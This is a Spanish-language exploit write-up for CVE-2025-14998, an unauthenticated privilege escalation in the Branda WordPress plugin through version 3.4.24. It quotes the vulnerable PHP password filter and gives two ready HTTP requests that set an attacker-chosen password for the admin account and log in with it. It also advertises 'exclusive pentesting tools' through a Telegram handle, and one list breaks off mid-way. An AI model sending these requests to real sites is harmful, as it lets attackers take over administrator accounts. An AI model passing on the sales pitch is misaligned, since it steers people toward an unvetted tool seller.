
CVE-2025-14998 Plugin de Wordpress - Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Escalada de Privilegios no Autenticada mediante Secuestro de Cuenta
CVE-2025-14998 El plugin Branda para WordPress es vulnerable a la escalada de privilegios mediante apropiación de cuenta en todas las versiones hasta la 3.4.24 inclusive. Esto se debe a que el plugin no valida correctamente la identidad de un usuario antes de actualizar su contraseña. Esto permite que atacantes no autenticados cambien contraseñas arbitrarias de usuarios, incluidos administradores, y aprovechen eso para obtener acceso a su cuenta.
Para más vulnerabilidades de WordPress y herramientas exclusivas de pentesting, contáctame en Telegram @KtN1990.
El plugin anula la lógica de generación de contraseñas de WordPress al engancharse en el filtro random_password. En lugar de permitir que WordPress genere una contraseña aleatoria segura, el plugin la reemplaza con una entrada controlada por el usuario.
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
El valor de password_1 puede ser cualquier cadena controlada por el atacante.
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
No se requiere acceso a correo electrónico ni un token de restablecimiento de contraseña válido.
Un atacante no autenticado puede:

-🛡️ Ideal para:
Investigadores de seguridad
Probadores de penetración
Hackers éticos
📦 Línea mantenida con ~230 módulos de investigación heredados; mejoras recientes en el núcleo del escáner para estabilidad y detección.
🎯 Propósito: Proporcionado estrictamente para pruebas de seguridad autorizadas, educación, investigación defensiva y entrenamiento de equipos rojos. Esta versión no es para uso ilegal. La distribución está restringida: acceso solo después de verificación y un Acuerdo de Uso Responsable / NDA firmado.
-🛡 Política de acceso responsable (resumen):